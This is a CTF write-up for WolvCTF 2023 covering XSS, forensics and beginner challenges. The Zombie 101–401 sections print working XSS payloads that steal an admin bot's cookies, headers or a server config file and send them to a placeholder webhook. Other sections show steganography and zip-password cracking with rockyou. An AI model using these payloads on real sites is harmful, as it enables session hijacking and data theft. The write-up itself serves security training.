WolvCTF 2023 - Writeup
Challenges Solved :
Web
ZOmbie 101
This Challenge is a a classic xss where you steal the cookie’s admin. (admin is a bot who visits the url you give).
Payload : <script>window.location="https://<myWebHook>/?c=".concat(document.cookie)</script>
I sent the url with payload to the admin input and got the flag : wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}
Zombie 201
It is the same webapp than Zombie 101, but admin activated the httponly parameter. We can’t gather the cookie throught the document object. However, debug is activated allowing to perform request to /debug endpoint.
/debug’s source code :
// useful for debugging cloud deployments
app.get('/debug', function(req, res) {
if (config.allowDebug) {
res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
}
else {
res.send('sorry, debug endpoint is not enabled')
}
})
I thought I could exploit xss throught this endpoint :
payload :
<script>
fetch("https://zombie-201-tlejfksioa-ul.a.run.app/debug")
.then((response) => response.json())
.then((data) => fetch("https://<MyHook>/?/=".concat(JSON.stringify(data)), { credentials: 'include' }));
</script>
Flag : wctf{h1dd3n-c00k135-d1d-n07-h31p-373964}
Zombie 301
In this challenge, httponly is still enabled, but debug is disabled. We can steal the admin cookie in HTTP headers by performing an HTTP request inside the website and resending the HTTP response to our webhook.
payload :
<script>
fetch("https://zombie-301-tlejfksioa-ul.a.run.app/")
.then((data) => fetch("https://<myHook>/?/=".concat(JSON.stringify(data)), { credentials: 'include' }));
</script>
Flag : wctf{h0w-d1d-y0u-r34d-7h3-3nv-v4r-31831}
Zombie 401
This time, httonly is disabled and debug is enabled, but the flag is in a file (config.json) hosted by the server. Our goal is to exfiltrate the file content to get the flag throught XSS. I used the “file ://” URI to exfiltrate the flag :
<script>
fetch('file:///ctf/app/config.json')
.then(response => response.text())
.then(data => window.location="https://<MyHook>/?/=".concat(data))
.catch(error => window.location="https://<MyHook>/?/=".concat(error));
</script>
flag : wctf{y0u-4r3-4n-4dm1n-807-m4573r-86835} Zombie 401
Forensic
Dino Trading
We open the pcap of this challenge with wireshark:
We can see ftp traffics, especially raw data throught FTP (FTP-Data protocol). let’s see ftp commands :
The client attempted to list directory, here is the result returned by ftp server :
As you can see, there is an image epicfight.jpg. With RETR, the client downloads the epicfight.jpg image, We can see the image data in our pcap, we just had to save the image turning the data type into raw :
Downloaded image :
Now, how to find the flag? It is an image, the first thing I thought was to attempt to extract some hidden data thanks to steghide, it asked me to enter a passphrase. Then, I used stegseek to crack the passphrase :
stegseek epicFight.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "hidden.txt".
[i] Extracting to "epicFight.jpg.out".
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ cat epicFight.jpg.out
d2N0Znthbl8xbWFnZV9pbl9hX3BlZWNhcF9iNjR9
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ cat epicFight.jpg.out | base64 -d
wctf{an_1mage_in_a_peecap_b64}
Employee 427: Compromised
Description
This is the story of Employee 427
Employee 427 works all day, every day. This is because Employee 427 loves his job
Then one day, something strange happens
Something Employee 427 would never forget
The profits diagram that Employee 427 had put months together suddenly disappeared
Employee 427 was shocked, what could have happened? He thought to himself
Unsure what to do, Employee 427 has reached out to you, yes you, to figure out how his precious diagram could have vanished
Performing Forensic on triage
For this, challenge I used autopsy to analyze my triage . I found an interesting file ConsoleHost_history.txt
:
It seems profit.jpg was removed and I found a pastebin link, I convert it into URL : https://pastebin.com/75Muuu8m
After getting into the pastebin link, I got the flag :
wctf{p3rh4ps_h3_h4D_s1MpLy_m1553D_4_mEm0}
Employee 427: Locate
Description
Employee 427 stood up, infuriated, by what has happened to his sensitive files
As Employee 427 began pondering what to do, reality set in
Employee 427 is in big trouble. Employee 427 has a meeting on Monday where the whole Finance department will be awaiting Employee 427’s diagram they have been working for so, so long on
Employee 427 thought “If I do not figure out a way to recover this diagram, I am surely fired”
Employee 427 loved their job. Employee 427 does not want to be fired
Employee 427 hopes that you will be able to locate the file that Employee 427 lost. Same triage as Employee 427: Compromised
Performing forensic on triage
The goal of this challenge is to find the original profits.jpg :
I found interesting information on files donwloaded by Employee 427 :
There is a github repo : http://github.com/awesomecorp3234243523/private-documents Finally this repository contains the flag : https://github.com/awesomecorp3234243523/private-documents/blob/main/profits_old.jpg
Beginner
Charlotte’s Web
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ curl https://charlotte-tlejfksioa-ul.a.run.app/
<!DOCTYPE html>
<html>
<head>
<title>index</title>
<script>
function start() {
alert("where's the flag? i swear it was around here somewhere");
}
</script>
</head>
<body>
<button onclick='start()'>click me for the flag</button>
<!-- /src -->
</body>
</html>
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ curl https://charlotte-tlejfksioa-ul.a.run.app/src
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ curl https://charlotte-tlejfksioa-ul.a.run.app//super-secret-route-nobody-will-guess -X PUT
wctf{y0u_h4v3_b33n_my_fr13nd___th4t_1n_1t53lf_1s_4_tr3m3nd0u5_th1ng}
Baby re
strings baby-re | grep wctf
wctf{Oh10_Stat3_1s_Smelly!}
wctf{Must_be_fr0m_OSU}
wctf{A_t0tally_fake_flag}
By guessing I took wctf{Oh10_Stat3_1s_Smelly!}
and It was the right flag
We will rock you
The challenge gave us a protected zip file. Then, we crack it with john and the rockyou wordlist :
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ zip2john we_will_rock_you.zip > zip.hashes
Created directory: /home/kali/.john
ver 1.0 we_will_rock_you.zip/we_will_rock_you/ is not encrypted, or stored with non-handled compression type
ver 1.0 efh 5455 efh 7875 we_will_rock_you.zip/we_will_rock_you/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=33, decmplen=21, crc=7D20D45F ts=B816 cs=b816 type=0
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt zip.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
michigan4ever (we_will_rock_you.zip/we_will_rock_you/flag.txt)
1g 0:00:00:00 DONE (2023-03-20 17:35) 1.176g/s 6548Kp/s 6548Kc/s 6548KC/s mickovgys..michellsmg
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/CTF/WolvCTF]
└─$ cat we_will_rock_you/flag.txt
wctf{m1cH1g4n_4_3v3R}